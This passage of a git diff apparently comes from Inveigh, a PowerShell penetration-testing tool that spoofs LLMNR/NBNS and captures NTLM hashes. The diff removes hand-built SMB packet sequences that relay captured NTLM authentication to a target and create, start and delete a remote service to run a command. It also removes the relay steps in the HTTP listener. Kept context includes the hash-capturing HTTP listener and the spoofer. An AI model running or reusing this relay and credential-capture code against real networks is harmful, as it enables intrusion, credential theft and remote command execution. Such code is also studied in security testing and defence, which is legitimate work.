(0x08,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x9f,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00)` - + $SMB_service_byte_count_bytes` - + (0x00,0x00)` - + $SMB_service_byte_count_bytes` - + (0x3f,0x00,0x00,0x00,0x00,0x00)` - + $SMB_service_byte_count_bytes` - + (0x05,0x00,0x00,0x03,0x10)` - + (0x00,0x00,0x00)` - + $SMB_service_byte_count_bytes` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x62,0x01,0x00,0x00,0x00,0x00,0x0c,0x00)` - + $SMB_context_handler` - + (0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x00,0x00)` - + $SMB_service_bytes` - + (0x21,0x03,0x03,0x00,0x11,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x00,0x00)` - + $SMB_service_display_bytes` - + (0x00,0x00,0xff,0x01,0x0f,0x00,0x10,0x01,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` - + $SMB_relay_command_length_bytes` - + (0x00,0x00,0x00,0x00)` - + $SMB_relay_command_length_bytes` - + $SMB_relay_command_bytes` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00) - - $SMB_multiplex_id = (0x09) - } - - 7 { - [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 8 { - [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x93,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + (0x0a,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x9f,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x54)` - + (0x00,0x00,0x00,0x54,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x54,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)` - + (0x00,0x54,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3c,0x00,0x00,0x00,0x00,0x00,0x10,0x00)` - + $SMB_context_handler` - + (0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x00,0x00)` - + $SMB_service_bytes` - + (0xff,0x01,0x0f,0x00) - - $SMB_multiplex_id = (0x0b) - } - - 9 { - [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 10 { - [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x73,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + (0x0a,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x9f,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x34)` - + (0x00,0x00,0x00,0x34,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x34,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)` - + (0x00,0x34,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1c,0x00,0x00,0x00,0x00,0x00,0x13,0x00)` - + $SMB_context_handler` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00) - } - - 11 { - [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 12 { - [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x6b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + (0x0b,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x0b,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x2c)` - + (0x00,0x00,0x00,0x2c,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x2c,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)` - + (0x00,0x2c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x02,0x00)` - + $SMB_context_handler - } - 13 { - [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - } - - $SMB_relay_execute_stream.write($SMB_relay_execute_send, 0, $SMB_relay_execute_send.length) - $SMB_relay_execute_stream.Flush() - - if($SMBRelayNetworkTimeout) - { - $SMB_relay_execute_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout - $SMB_relay_execute_stopwatch = [diagnostics.stopwatch]::StartNew() - - while(!$SMB_relay_execute_stream.DataAvailable) - { - if($SMB_relay_execute_stopwatch.elapsed -ge $SMB_relay_execute_timeout) - { - $inveigh.console_queue.add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - break SMB_relay_execute_loop - } - } - } - - if ($k -eq 5) - { - $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length) - $SMB_context_handler = $SMB_relay_execute_bytes[88..107] - - if($SMB_relay_execute_bytes[108] -eq 0) - { - $inveigh.console_queue.add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget")]) - $SMB_relay_failed = $false - } - else - { - $inveigh.console_queue.add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget")]) - $inveigh.SMBRelay_failed_list += "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget" - $SMB_relay_failed = $true - } - } - elseif (($k -eq 7) -or ($k -eq 11) -or ($k -eq 13)) - { - $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length) - - switch($k) - { - 7 { - $SMB_relay_execute_error_message = "Service creation fault context mismatch" - } - 11 { - $SMB_relay_execute_error_message = "Service start fault context mismatch" - } - 13 { - $SMB_relay_execute_error_message = "Service deletion fault context mismatch" - } - } - - if([System.BitConverter]::ToString($SMB_relay_execute_bytes[88..91]) -eq ('1a-00-00-1c')) - { - $inveigh.console_queue.add("$SMB_relay_execute_error_message service on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $SMB_relay_execute_error on $SMBRelayTarget")]) - $SMB_relay_failed = $true - } - else - { - if(!$SMB_relay_failed) - { - $SMB_relay_failed = $false - } - } - } - elseif ($k -eq 9) - { - $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length) - $SMB_context_handler = $SMB_relay_execute_bytes[88..107] - - if([System.BitConverter]::ToString($SMB_relay_execute_bytes[88..91]) -eq ('1a-00-00-1c')) # need better checks - { - $inveigh.console_queue.add("Service open fault context mismatch on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Service open fault context mismatch on $SMBRelayTarget")]) - $SMB_relay_failed = $true - } - } - else - { - $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length) - } - - if((!$SMB_relay_failed) -and ($k -eq 11)) - { - $inveigh.console_queue.add("SMB relay command likely executed on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay command likely executed on $SMBRelayTarget")]) - - if($SMBRelayAutoDisable -eq 'y') - { - $inveigh.SMB_relay = $false - $inveigh.console_queue.add("SMB relay auto disabled due to success") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay auto disabled due to success")]) - } - } - elseif((!$SMB_relay_failed) -and ($k -eq 13)) - { - $inveigh.console_queue.add("SMB relay command execution service deleted on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay command execution service deleted on $SMBRelayTarget")]) - } - - [Byte[]]$SMB_relay_execute_ReadAndRequest = (0x00,0x00,0x00,0x37,0xff,0x53,0x4d,0x42,0x2e,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` - + $inveigh.process_ID_bytes` - + $SMB_user_ID` - + $SMB_multiplex_ID` - + (0x00,0x0a,0xff,0x00,0x00,0x00,0x00,0x40,0x19,0x03,0x00,0x00,0xed,0x01,0xed,0x01,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00) - - $k++ - } - - $inveigh.SMB_relay_active_step = 0 - - $SMB_relay_socket.Close() - - } -} - # HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener $HTTP_scriptblock = { - param ($Challenge,$SMBRelay,$SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$Repeat,$MachineAccounts,$ForceWPADAuth) + param ($MachineAccounts,$ForceWPADAuth) Function NTLMChallengeBase64 { @@ -1158,17 +637,16 @@ $HTTP_scriptblock = $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp)) $HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - if($Challenge) + if($Inveigh.challenge) { - $HTTP_challenge = $Challenge - $HTTP_challenge_bytes = $Challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') + $HTTP_challenge = $Inveigh.challenge + $HTTP_challenge_bytes = $Inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} } else { $HTTP_challenge_bytes = [String](1..8 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} } @@ -1187,18 +665,17 @@ $HTTP_scriptblock = $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) $NTLM = 'NTLM ' + $NTLM_challenge_base64 $NTLM_challenge = $HTTP_challenge - + Return $NTLM } - while ($inveigh.running) + while($inveigh.running) { $inveigh.context = $inveigh.HTTP_listener.GetContext() $inveigh.request = $inveigh.context.Request $inveigh.response = $inveigh.context.Response $inveigh.message = '' - $NTLM = 'NTLM' if($inveigh.request.IsSecureConnection) @@ -1228,66 +705,12 @@ $HTTP_scriptblock = [byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) $inveigh.response.StatusCode = 401 - if ($HTTP_request_bytes[8] -eq 1) - { - if(($inveigh.SMB_relay) -and ($inveigh.SMB_relay_active_step -eq 0) -and ($inveigh.request.RemoteEndpoint.Address -ne $SMBRelayTarget)) - { - $inveigh.SMB_relay_active_step = 1 - $inveigh.console_queue.add("$HTTP_type to SMB relay triggered by " + $inveigh.request.RemoteEndpoint.Address + " at $(Get-Date -format 's')") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by " + $inveigh.request.RemoteEndpoint.Address)]) - $inveigh.console_queue.add("Grabbing challenge for relay from $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Grabbing challenge for relay from " + $SMBRelayTarget)]) - $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient - $SMB_relay_socket.connect($SMBRelayTarget,"445") - - if(!$SMB_relay_socket.connected) - { - $inveigh.console_queue.add("$(Get-Date -format 's') - SMB relay target is not responding") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target is not responding")]) - $inveigh.SMB_relay_active_step = 0 - } - - if($inveigh.SMB_relay_active_step -eq 1) - { - $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes - $inveigh.SMB_relay_active_step = 2 - $SMB_relay_bytes = $SMB_relay_bytes[2..$SMB_relay_bytes.length] - $SMB_user_ID = $SMB_relay_bytes[34..33] - $SMB_relay_NTLM_challenge = $SMB_relay_bytes[102..109] - $SMB_relay_target_details = $SMB_relay_bytes[118..257] - $SMB_relay_time = $SMB_relay_bytes[258..265] - - [byte[]] $HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0x82,0x89,0xa2)` - + $SMB_relay_NTLM_challenge` - + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` - + $SMB_relay_target_details` - + $SMB_relay_time` - + (0x00,0x00,0x00,0x00) - - $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = 'NTLM ' + $NTLM_challenge_base64 - $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes - $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $NTLM_challenge) - $inveigh.console_queue.add("Received challenge $NTLM_challenge for relay from $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $SMBRelayTarget")]) - $inveigh.console_queue.add("Providing challenge $NTLM_challenge for relay to " + $inveigh.request.RemoteEndpoint.Address) - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to " + $inveigh.request.RemoteEndpoint.Address)]) - $inveigh.SMB_relay_active_step = 3 - } - else - { - $NTLM = NTLMChallengeBase64 - } - } - else - { - $NTLM = NTLMChallengeBase64 - } - + if($HTTP_request_bytes[8] -eq 1) + { $inveigh.response.StatusCode = 401 - + $NTLM = NTLMChallengeBase64 } - elseif ($HTTP_request_bytes[8] -eq 3) + elseif($HTTP_request_bytes[8] -eq 3) { $NTLM = 'NTLM' $HTTP_NTLM_offset = $HTTP_request_bytes[24] @@ -1334,7 +757,7 @@ $HTTP_scriptblock = } } - if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and ($Repeat -eq 'n')) + if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat)) { $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address } @@ -1360,7 +783,7 @@ $HTTP_scriptblock = } - if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and ($Repeat -eq 'n')) + if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat)) { $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address } @@ -1369,69 +792,6 @@ $HTTP_scriptblock = $inveigh.response.StatusCode = 200 $NTLM_challenge = '' - if (($inveigh.SMB_relay) -and ($inveigh.SMB_relay_active_step -eq 3)) - { - if((!$SMBRelayUsernames) -or ($SMBRelayUsernames -contains $HTTP_NTLM_user_string) -or ($SMBRelayUsernames -contains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - if(($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$')))) - { - if($inveigh.SMBRelay_failed_list -notcontains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget") - { - if($NTLM_type -eq 'NTLMv2') - { - $inveigh.console_queue.add("Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget")]) - $SMB_relay_response_return_bytes = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_user_ID - $SMB_relay_response_return_bytes = $SMB_relay_response_return_bytes[1..$SMB_relay_response_return_bytes.length] - - if((!$SMB_relay_failed) -and ([System.BitConverter]::ToString($SMB_relay_response_return_bytes[9..12]) -eq ('00-00-00-00'))) - { - $inveigh.console_queue.add("$HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")]) - $inveigh.SMB_relay_active_step = 4 - SMBRelayExecute $SMB_relay_socket $SMB_user_ID - } - else - { - $inveigh.console_queue.add("$HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")]) - $inveigh.SMBRelay_failed_list += "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget" - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - } - else - { - $inveigh.console_queue.add("NTLMv1 relay not yet supported") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - NTLMv1 relay not yet supported")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - } - else - { - $inveigh.console_queue.add("Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - } - else - { - $inveigh.console_queue.add("Aborting relay since $HTTP_NTLM_user_string appears to be a machine account") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_user_string appears to be a machine account")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - } - else - { - $inveigh.console_queue.add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list") - $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - } } else { @@ -1447,14 +807,16 @@ $HTTP_scriptblock = $HTTP_stream.write($HTTP_buffer, 0, $HTTP_buffer.length) $HTTP_stream.close() } - $inveigh.HTTP_listener.stop() - $inveigh.HTTP_listener.close() + + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() + } # Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer $sniffer_scriptblock = { - param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$Repeat,$MachineAccounts,$ForceWPADAuth,$RunTime) + param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$MachineAccounts,$ForceWPADAuth,$RunTime) $byte_in = New-Object Byte[] 4 $byte_out = New-Object Byte[] 4 @@ -1478,12 +840,7 @@ $sniffer_scriptblock = while($inveigh.running) { - try - { - $packet_data = $inveigh.sniffer_socket.Receive($byte_data,0,$byte_data.length,[Net.Sockets.SocketFlags]::None) - } - catch - {} + $packet_data = $inveigh.sniffer_socket.Receive($byte_data,0,$byte_data.length,[Net.Sockets.SocketFlags]::None) $memory_stream = New-Object System.IO.MemoryStream($byte_data,0,$packet_data) $binary_reader = New-Object System.IO.BinaryReader($memory_stream) @@ -1760,7 +1117,10 @@ $sniffer_scriptblock = } } + $inveigh.HTTP = $false + $inveigh.HTTPS = $false $inveigh.running = $false + $inveigh.relay_running = $false } } @@ -1786,6 +1146,11 @@ $sniffer_scriptblock = } } } + + $binary_reader.Close() + $memory_stream.Dispose() + $memory_stream.Close() + } # End ScriptBlocks @@ -1818,10 +1183,7 @@ Function HTTPListener() $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument( - $SMBRelay).AddArgument($SMBRelayTarget).AddArgument($SMBRelayCommand).AddArgument($SMBRelayUsernames).AddArgument( - $SMBRelayAutoDisable).AddArgument($SMBRelayNetworkTimeout).AddArgument($Repeat).AddArgument( - $MachineAccounts).AddArgument($ForceWPADAuth) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($MachineAccounts).AddArgument($ForceWPADAuth) > $null $HTTP_handle = $HTTP_powershell.BeginInvoke() } @@ -1837,7 +1199,7 @@ Function SnifferSpoofer() $sniffer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($LLMNR_response_message).AddArgument( $NBNS_response_message).AddArgument($IP).AddArgument($SpooferIP).AddArgument($SMB).AddArgument( - $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument($Repeat).AddArgument( + $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument( $MachineAccounts).AddArgument($ForceWPADAuth).AddArgument($RunTime) > $null $sniffer_handle = $sniffer_powershell.BeginInvoke() } @@ -1847,7 +1209,7 @@ Function SnifferSpoofer() # Startup Enabled Services # HTTP Server Start -if(($inveigh.HTTP) -or ($inveigh.HTTPS)) +if(($inveigh.HTTP -or $inveigh.HTTPS) -and $SMBRelay -eq 'n') { HTTPListener } @@ -1857,7 +1219,6 @@ SnifferSpoofer if($inveigh.console_output) { - :console_loop while(($inveigh.running) -and ($inveigh.console_output)) { while($inveigh.console_queue.Count -gt 0) @@ -1931,13 +1292,14 @@ Function Stop-Inveigh { <# .SYNOPSIS - Stop-Inveigh will stop Inveigh. + Stop-InveighRelay will stop all running Inveigh functions. #> if($inveigh) { - if($inveigh.running) + if($inveigh.running -or $inveigh.relay_running) { $inveigh.running = $false + $inveigh.relay_running = $false if($inveigh.HTTP_listener.IsListening) { @@ -1981,40 +1343,47 @@ Function Stop-Inveigh } } } + + $inveigh.HTTP = $false + $inveigh.HTTPS = $false + } else { $inveigh.status_queue.add("Inveigh isn't running")|Out-Null } - while($inveigh.status_queue.Count -gt 0) + if($inveigh.status_output) { - if($inveigh.output_stream_only) + while($inveigh.status_queue.Count -gt 0) { - write-output($inveigh.status_queue[0] + $inveigh.newline) - $inveigh.status_queue.RemoveRange(0,1) - } - else - { - switch -wildcard ($inveigh.status_queue[0]) + if($inveigh.output_stream_only) { - "Inveigh exited at *" - { - write-warning $inveigh.status_queue[0] - $inveigh.status_queue.RemoveRange(0,1) - } - "SSL Certificate Deletion Error - Remove Manually" - { - write-warning $inveigh.status_queue[0] - $inveigh.status_queue.RemoveRange(0,1) - } - default + write-output($inveigh.status_queue[0] + $inveigh.newline) + $inveigh.status_queue.RemoveRange(0,1) + } + else + { + switch -wildcard ($inveigh.status_queue[0]) { - write-output $inveigh.status_queue[0] - $inveigh.status_queue.RemoveRange(0,1) - } - } - } + "Inveigh exited at *" + { + write-warning $inveigh.status_queue[0] + $inveigh.status_queue.RemoveRange(0,1) + } + "SSL Certificate Deletion Error - Remove Manually" + { + write-warning $inveigh.status_queue[0] + $inveigh.status_queue.RemoveRange(0,1) + } + default + { + write-output $inveigh.status_queue[0] + $inveigh.status_queue.RemoveRange(0,1) + } + } + } + } } } @@ -2127,11 +1496,11 @@ Function Watch-Inveigh { <# .SYNOPSIS - Watch-Inveigh will enabled real time console output. If using this cmdlet through a shell, test to ensure that it doesn't hang the shell. + Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell. #> if($inveigh.tool -ne 1) { - if($inveigh.running) + if($inveigh.running -or $inveigh.relay_running) { Write-Output "Press any key to stop real time console output" $inveigh.console_output = $true @@ -2207,45 +1576,24 @@ Function Watch-Inveigh { Write-Output "Watch-Inveigh cannot be used with current external tool selection" } - } Function Clear-Inveigh { <# .SYNOPSIS - Clear-Inveigh will clear Inveigh's NTLMv1, NTLMv2, log, output, failed smbrelay, and spoof repeat suppression lists. + Clear-Inveigh will clear Inveigh data from memory. #> if($inveigh) { - $inveigh.console_queue = New-Object System.Collections.ArrayList - $inveigh.log_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList - $inveigh.log_file_queue = New-Object System.Collections.ArrayList - $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList - $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList - $inveigh.IP_capture_list = @() - $inveigh.SMBRelay_failed_list = @() + if(!$inveigh.running -and !$inveigh.relay_running) + { + Remove-Variable inveigh -scope global + Write-Output "Inveigh data has been cleared from memory" + } + else + { + Write-Output "Run Stop-Inveigh before running Clear-Inveigh" + } } } - -Function Get-InveighHelp -{ - <# - .SYNOPSIS - Get-InveighHelp will cmdlet list. - #> - "-"*26 + "(Get-InveighHelp)" + "-"*26 | Write-Output - write-output "Invoke-Inveigh - Start Inveigh with or without parameters" - write-output "Get-Inveigh - Get queued console output" - write-output "Get-InveighLog - Get log entries" - write-output "Get-InveighNTLM - Get all captured challenge/response hashes" - write-output "Get-InveighNTLMv1 - Get captured NTLMv1 challenge/response hashes" - write-output "Get-InveighNTLMv2 - Get captured NTLMv2 challenge/response hashes" - write-output "Get-InveighStats - Get captured challenge/response counts" - write-output "Watch-Inveigh - Enable real time console output" - write-output "Clear-Inveigh - Clear capture, log, smbrelay, and spoof lists" - write-output "Stop-Inveigh - Stop Inveigh" - "-"*69 | Write-Output -}
\ No newline at end of file |